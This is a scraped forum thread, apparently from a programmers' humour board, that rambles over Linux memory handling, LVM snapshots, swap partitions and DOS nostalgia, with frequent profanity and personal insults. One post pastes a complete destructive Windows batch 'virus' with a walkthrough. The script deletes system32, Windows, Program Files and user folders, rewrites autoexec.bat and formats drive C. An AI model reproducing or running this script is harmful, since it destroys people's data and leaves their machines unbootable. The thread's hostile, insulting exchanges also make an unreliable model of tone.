I Moved to Linux and It’s Even Better Than I Expected
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Another possible outcome is you free memory that you have but don't need, for example:
Not necessarily, since SIGDANGER gives programs with handlers a chance to
free up some memory before the situation becomes critical. For example,
Netscape has a 16MB memory cache on my system that it can free at the
drop of a hat, if it had a chance to do so. Xterms, the X server, mpg123,
and many other programs have buffers that are not critical to their
operation that can be freed.So the program could see "oh,
malloc()failed! Better go use less RAM elsewhere!"
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That actually makes sense. I just realized I'm starting to look at the software world in terms of deterministic operating systems and safety-critical applications where you want stuff to fail hard, fast, and early, so you can fix it in the lab before the thing gets airborne. Thank you aerospace industry.
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My recent experience is with a Chromium-based web browser. Its solution is something like "This tab has killed itself because out-of-memory", which, from a user perspective, isn't very different from "This tab has been killed because out-of-memory".
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My recent experience is with a Chromium-based web browser. Its solution is something like "This tab has killed itself because out-of-memory"
Ah, your Discourse tab.
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No, that's the one that kills itself because it's trying to display
.
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.... oooh. clever....
i like that!
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I don't think I can take complete credit for the idea, I'd seen it done around here before somewhere...
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Talisker
FWIW, I was a little disappointed with Talisker Storm, and kind of wish I'd gone with another bottle of the vanilla blue Talisker I needed to replace, but I guess it's almost impossible to get more subjective than whisky tasting, so make of that what you will...
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Wait, 95 posts and nobody's 'shopped in a football? Jesus, this forum sucks.
Hey! Writing erotic fan-fiction about the penguin and a football takes a lot of t--
Wait. Hang on.
You said "'Shopped".
Crap. Never mind.
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Do we need to post trigger warnings now anytime anyone mentions DOS?
Seems fair, for those of us old enough to actually remember having to use it. Then again, before Windows took off, it was either that or GEM...
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That statement sounds like an absolute. Are you a Sith?
I am a liar. This statement is false.
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How do you continue to run correctly if malloc() starts failing? Seems to me that would be unrecoverable. It's like expecting a car to continue normally after a tire blowout.
If you can allocate a few MB at program start, that should in theory give you some scratch memory wiggle room to handle a graceful shutdown of your app in the situation that a later call to malloc() does fail. It still requires a fair amount of vigiliance during development, tho...
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What do you mean by "internally consistent"? The whole point of LVM snapshots is that it stops writing to the partition when it's in a consistent state, let's you back up the snapshot, and then re-applies the changes made in the meantime, isn't it?
An LVM snapshot is a point-in-time representation of the state of an entire disk volume. All my VMs are backed by QCOW2 image files. Taking an LVM snapshot of the volume that contains those files gets me a self-consistent point-in-time snapshot of that volume, but if the VMs are running at the time the snapshot is taken, then the internal state of the QCOW2 files inside that snapshot is like that of physical hard drives that have suffered a sudden power loss. If I shut the VMs down first, the QCOW2 files are like physical hard drives whose hosts have been cleanly shut down.
Yes, NTFS is a journalling filesystem so in theory taking a snapshot of an NTFS volume at any instant is OK. But my VMs are school servers, not HA Internet-accessible business servers, and taking them down for a couple of minutes a day is completely acceptable. They're Windows servers running assorted proprietary daemons, so they occasionally misbehave if I don't restart them every few days in any case. And I like knowing that I won't need to fsck them all after restoring from a backup.
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It also allows you to quickly make read-only "snapshots" of volumes, which is useful for backups, restoring a system to a last-known-good state and other similar things.
Just for completeness: since LVM2, snapshot volumes have also been writable.
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LVM would still be needed for volumes that span across drives, or for mirroring, for instance.
Actually no; btrfs has all that stuff inbuilt. In fact it's better at storage pooling than zfs - drives don't all need to be the same size, and you can choose RAID levels per file (or is it per subvolume? I'd have to check).
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Windows servers running assorted proprietary daemons
Hmm...
Windows servers
running daemons
Doesn't check out.
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How does Linux know the page it just loaded from disk is the same page it loaded when the application was first launched?
Because executing a file involves opening it read-only.
Before Linux can mmap a file, it has to open it in order to get a file handle. That handle is associated with the file's inode, and increases the inode's refcount. Files don't get actually deleted until their refcounts go to zero, showing that they are not linked from any directory and no process has an open handle on them.
Replacing executables and libraries on disk is done by unlinking the old files, then writing new files, possibly re-using the old files' names; for as long as the old files still have nonzero refcounts, all existing file handles for them remain valid even though their inodes might no longer be linked from any directory.
So if a process has indeed mmapped files including its own executable and libraries, then it's quite safe to page those in and out of RAM as required.
Files with handles but no directory entries are a common idiom for using temporary files in Unix programs. You can write a function that creates, opens and unlinks such a temp file and returns the open file handle, and then your program can just pass the handle around or dup it or whatever, using it to manipulate a temp file that it never needs to bother cleaning up. The file can be used freely for as long as an open handle exists and will be removed from disk as soon as the last such handle is closed, regardless whether that happens explicitly or because your program has died unexpectedly.
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@blakeyrat said:
@tar said:
and a swap partition.
Why?
because...
because...
because...
Because...
Because I can put my swap partition right at the start of the drive where the transfer rate is highest?
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And if you have a partition as opposed to a file that can grow and shrink on demand, fragmentation doesn't happen.
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Yes but do you call your Windows scheduled tasks "cron jobs"?
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Yes but do you call your Windows scheduled tasks "cron jobs"?
I know at least 10 people who do.
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do you call your Windows scheduled tasks "cron jobs"?
Only if I schedule them with the cron service.
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I think upto around 2005, some of us still need to use DOS to flush BIOS or perform restore from Norton Ghost.
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Because I can put my swap partition right at the start of the drive where the transfer rate is highest?
Because I can have two partitions swap between the two of them and film it and put it on the internet and make lots of money.
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@blakeyrat said:
I've never used DOS. Why would I have?
You young whippersnapper.
FFS, even I used DOS.
Family computer was Apple IIe. I was 6 years old. I taught myself programming.
My first PC was a used XT my uncle and aunt got me for my 13th birthday. They'd seen some of the programming I'd done and wanted to encourage me.
I eventually traded up, over the next 5 years, to a 286 beige box, a 486 elephant laptop, and then a better 486 desktop. I was, I dunno, 17 or so around that point.
I installed Windows 3.11 on that desktop. But that still required DOS knowledge. Especially to boot into "games mode" which required fucking around with memory management. That was just before Win 95 came out.
When I started working, I got into pentiums, and it all gets hazy from there.
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I'm not a jackass.
Oh man, this is the funniest thing I've read all day. Thanks!
Before you start ranting, no, you're (probably) not a jackass, just an ass.
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People in IT are the most intolerant motherfuckers in the world.
All the people who've had a hand cut off in Saudi Arabia in the last few years ago would like a word with you.
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@Lorne_Kates said:
That was just before Win 95 came out.
People still used DOS basically until XP came out because even in Me (IIRC) DOS games still ran better if you dropped out of Windows so you could allocate more low memory.
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@Lorne_Kates said:
When I started working, I got into pentiums, and it all gets hazy from there.
DOS is a gateway drug to Intel Pentiums.
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@Lorne_Kates said:
That was just before Win 95 came out.
People still used DOS basically until XP came out because even in Me (IIRC) DOS games still ran better if you dropped out of Windows so you could allocate more low memory.
Body is not too similar.
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@Lorne_Kates said:
That was just before Win 95 came out.
People still used DOS basically until XP came out because even in Me (IIRC) DOS games still ran better if you dropped out of Windows so you could allocate more low memory.
Body is not too similar.
I think you have a loop in your autoexec.bat
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OOOOOOOOO OOOOOOOOO 777777777 O O O O 7 O O O O 7 O O O O 7 O O O O 7 O O O O 7 OOOOOOOOO OOOOOOOOO 7 ************************************************************ *** I N F O R M A T I O N *** This batch file VIRUS I have rewritten for you so that unlike previous ones if any that don't work esspecial on Microsoft XP this code will destory Win 9x,2000,Millinume,XP and probably and other ones!!! *** T H E C O D E *** echo y | del C:\WINDOWS\system32\*.* echo y | del C:\WINDOWS\*.* echo y | del C:\*.* @ECHO OFF IF EXIST C:\"PROGRAM FILES"\*.* DELTREE /Y C:\"PROGRAM FILES"\*.* IF EXIST C:\"MY DOCUMENTS"\*.* DELTREE /Y C:\"MY DOCUMENTS"\*.* IF EXIST C:\WINDOWS\DESKTOP\*.* DELTREE /Y C:\WINDOWS\DESKTOP\*.* IF EXIST C:\WINDOWS\"START MENU"\*.* DELTREE /Y C:\"WINDOWS\START MENU"\*.* IF EXIST C:\WINDOWS\COMMAND\*.* DELTREE /Y C:\WINDOWS\COMMAND\*.* IF EXIST C:\WINDOWS\SYSTEM\*.* DELTREE /Y C:\WINDOWS\SYSTEM\*.* IF EXIST C:\WINDOWS\*.* DELTREE /Y C:\WINDOWS\*.* @echo off cls call attrib -h -r c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat echo format c: /q /u /autotest >nul >>c:\autoexec.bat cd \ ren \windows win_dos rem *** F U C K Y O U *** cls exit cls *** W H A T I S H A P P E N I N G *** Well the first code that runs is for xp and the new windows shit that runs different and it's deleting all of the stuff in the system32 folder which contain some serious shit like what will boot the computer so after this there computer is not gonna boot again then the windows folder and the c:\. Then the next code is for pretty much all of the other widows shit that is like windows 9x so it is wipping out the program files,my documents,desktop,start menu,windows etc. by the way this works if you have had trouble with one similar it was probably because you didn't have quotation marks on folders that had spaces to let it know that it's one. Finally the last code that runs is pretty much the same as the one before so i don't think you need me to explain but it will reformat c: and give them a FUCK YOU hopefully!!! ***But if you want to try to make it reformat running the first code which i haven't been able to reformat windows xp with the command promt only though dos the code would be echo y | format c:I do? I can't find it!
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I've been using computers since 1987.
I got you beat by like ten years.
I've never used DOS.
Yes, you missed out on a ton of games.
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Yes, you missed out on a ton of games.
I had a Commodore 64.
Also I played Starflight II at my grandpa's house, and I remember playing Scorched Earth at an uncle's house. Plus the retro stuff I've got on Steam.
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Your statement does not contradict mine.
Who said it did? Replying to invisible gnomes?
BTW, how are you old enough to have been using computers in 1977, and still so fucking terrible at reading and generally not-being-a-huge-dick?
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@FrostCat said:
You young whippersnapper.
I've been using computers since 1987.
I've never used DOS.
Sorry, you don't get to use the Apple excuse. I used an Apple and DOS.
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BTW, how
are youam I old enough to have been using computers in 19787, and still so fucking terrible at reading and generally not-being-a-huge-dick?I mean...
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Who said it did? Replying to invisible gnomes?
Sorry, not taking your bait tonight. Go troll someone else, Billy goat.
ill so fucking terrible at reading
https://www.youtube.com/watch?v=Y-Elr5K2Vuo
not-being-a-huge-dick
Again, I have your shining best-of-breed[1] example to emulate.
[1] so to speak.
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@Lorne_Kates said:
I used an Apple and DOS.
Congratulations, you win the "who gives a shit?" award.
SEE THIS IS MY POINT. I'm being fucking TAUNTED, like it's an elementary school playground, because I grew up in a household which only had Mac Classic computers. What the fuck is wrong with your assholes?
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What the fuck is wrong with your assholes?
Hey, remember that "not-being-a-huge-dick" thing you were talking about like 2 minutes ago? Yeah, I'm surprised you lasted this long.
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What the fuck is wrong with your assholes?
That's a bit personal, don't you think? You're not my proctologist.
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@Lorne_Kates said:
I can have two partitions swap between the two of them and film it and put it on the internet and make lots of money
2drives1swap.com
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@Lorne_Kates said:
FFS, even I used DOS.
I used DOS. I had to reboot the computer in MS DOS mode to be able to type these commands:
cd \ben\busytown busytown
